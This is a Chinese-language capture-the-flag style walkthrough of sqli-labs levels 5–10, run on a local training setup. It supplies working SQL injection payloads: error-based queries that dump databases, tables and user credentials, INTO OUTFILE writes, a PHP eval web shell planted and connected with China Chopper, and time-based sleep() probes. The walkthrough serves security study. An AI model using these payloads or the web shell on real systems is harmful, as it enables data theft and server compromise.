第五关:Double Query- Single Quotes- String
1.输入?id=2看见页面如下:
输入?id=666时,发现页面发生变化
说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入 ?id=2’ 页面出现错误语句如下
但是可以发现存在注入点,这里可以闭合引号,随后通过查询列数发现这里也是3列
这道题使用的是报错注入
2.何为报错注入:
报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中,我在这里介绍一下报错注入以及原理
这是网上使用最广泛的一句报错注入语句:
select count(*),(floor(rand(0)2))x from information_schema.tables group by x;
那么必须是要按这个句子来执行吗,或者必须要这些句子吗?
通过查找很多网站的资料,我总结出:
group by,rand(),floor()三个函数是必须存在的,缺一不可,并且rand(),rand(0)两个句子还是有一些区别的,其中rand()在两条数据以上随即报错,rand(0)在三条数据以上必报错
介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字
(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
**3.**构造如下语句:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()2)) as x from information_schema.tables group by x) as a) --+
提示输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位),所以需要放弃group_concat()函数,而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
更改语句为:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(),concat((select concat(schema_name,’;’) from information_schema.schemata limit 0,1),floor(rand()2)) as x from information_schema.tables group by x) as a)–+
**4.**继续爆其他数据库名,改变limit n,1即可:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(),concat((select concat(schema_name,’;’) from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+
会发现到了n=6的时候就发生了变化:
当显示该情况时,说明已经爆完。
5. 爆security数据库中的表:
构造:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+ 还是更换limit n,1一个一个爆出。
**6.**爆users表的列名:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
**9.**爆users表中的内容:用户名和密码为,同样,limit n,1 慢慢来吧:http://127.0.0.1/Less-5/?id=2’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)–+
!
除此之外还有好几个,我就不一一爆出了,一共14个用户名和密码,到了n=14就会发现爆完了。好啦,第五题就此完事🤭。
第六关:Double Query- Double Quotes- String
第六关和第五关一样也没有数据回显,所以我们这里仍然使用报错注入
实现判断注入点,输入单引号没有报错,说明此处不是单引号型注入,尝试使用双引号,报错,所以此处使用双引号闭合来注入
?id=1 --+
其余过程不再赘述,请参考第五关.
第七关:Less-7 Dump into Outfile
第七关和上一关有所不同,这里说明了要使用outfile函数,outfile函数就是将数据库的查询内容导出到一个外部文件
1.我们正常输入?id=1页面回显如下
2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
3.当我们输入?id=1’页面报错,说明可能存在"注入
4…当我们输入?id=1’ --+页面显示依然不正常
5.接着我们尝试?id=1’) --+,页面依然显示不正常,有点难受,不过没关系
6.我们可以接着输入?id=5’)) --+尝试,发现页面回显正常
7. 由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好
C:\phpStudy\PHPTutorial\MySQL\data
然后使用union select 1,2,3 into outfile “C:\phpStudy\PHPTutorial\MySQL\data\chao.php” 尝试写入文件。
然后去本机文件夹下查看文件是否写入成功。
写入成功了,但是文件名变成了如图红色表示的那样!!
接着我进行了好多次尝试,最后被同学告知,需要使用\来代替目录中的\ ,具体原因我也不知道,后续会补上。 命令如下:
union select 1,2,3 into outfile “C:\phpStudy\PHPTutorial\MySQL\data\chao.php”
文件导入成功!,接着我们查看chao.php的内容
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
我们再尝试上传一句话木马,具体命令
?id=-1’)) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile “C:\phpStudy\PHPTutorial\WWW\123456.php” --+
接着试着访问一下这个文件
上传成功,使用菜刀链接下
连接成功!!!!🤭
第八关: Blind- Boolian- Single Quotes- String
1.?id=2’ --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2’ union select 1,2,3 into outfile “C:\phpStudy\PHPTutorial\WWW\88888.php”–+
上传成功
第九关:Blind- Time based- Single Quotes- String
这里我们尝试使用单引号和双引号闭合,发现页面回显一直正常,说明该关卡可能将我们的单双引号给退意了。
但是我输入%df之后页面回显依然正常,这个时候我觉得应该是无论我输入什么页面回显都是一样的。所以我尝试使用sleep()函数来测试,经过多次尝试,这里是单引号闭合的时间注入
’ and sleep(5)
第十关:Time based- Double Quotes- String
基于双引号的时间注入
?id=2" and sleep(5) --+
这里我就不在一个一个字母的去测试了,大家了解一下时间盲注就好